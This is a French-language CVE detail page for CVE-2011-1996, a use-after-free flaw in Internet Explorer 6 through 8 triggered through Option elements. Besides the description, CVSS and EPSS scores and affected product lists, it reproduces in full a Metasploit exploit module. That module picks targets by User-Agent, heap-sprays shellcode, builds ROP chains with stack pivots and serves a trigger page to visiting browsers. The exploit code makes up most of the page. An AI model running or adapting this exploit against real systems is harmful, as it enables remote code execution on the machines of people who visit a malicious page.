CVE-2011-1996 : Détail

CVE-2011-1996

95.51%V3
Network
2011-10-11
23h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Microsoft Internet Explorer 6 through 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing a deleted object, aka "Option Element Remote Code Execution Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 24020

Date de publication : 2013-01-09 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer Option Element Use-After-Free", 'Description' => %q{ This module exploits a vulnerability in Microsoft Internet Explorer. A memory corruption may occur when the Option cache isn't updated properly, which allows other JavaScript methods to access a deleted Option element, and results in code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ivan Fratric', #Initial discovery 'juan vazquez', #Metasploit 'sinn3r' #Metasploit ], 'References' => [ [ 'CVE', '2011-1996' ], [ 'MSB', 'MS11-081' ], [ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ], [ 'URL', 'http://pastebin.com/YLH725Aj' ] ], 'Payload' => { 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 11 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) js = %Q| function heap_spray() { var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); } | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate @heap_spray_func = js.sym("heap_spray") end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length) rop_payload << "\xeb\x04" # jmp $+6 rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret rop_payload << code else print_status("Using JRE ROP") rop_payload = generate_rop_payload('java', '') rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length) rop_payload << "\xeb\x08" # jmp $+10 rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret rop_payload << code end return rop_payload end def load_exploit_html(my_target, cli) @heap_spray_func = "heap_spray" p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) #var fakeobj = unescape("%u0c0c%u0c0c"); #call to 0c0c0c0c #eax ==> 0c0c0a14 html = %Q| <!DOCTYPE html> <html> <head> <script> #{js} function ivan() { var fakeobj = unescape("%u0a14%u0c0c"); fakeobj += unescape("%u4141%u4141"); while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141"); var formobj, selobj, optobj; selobj = document.getElementById("select1"); formobj = selobj.form; var imgarray = new Array(); for(var j = 0; j < 500; j++) { imgarray.push(document.createElement("img")); } for(var i=0;i<5;i++) { optobj = document.createElement('option'); optobj.text = "test"; selobj.add(optobj); } selobj.innerText = "foo"; for(var i = 0; i < imgarray.length; i++) { imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1); } #{@heap_spray_func}(); formobj.reset(); } </script> </head> <body onload='ivan()'> <form method="post"> <select id="select1"> </select> </form> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Références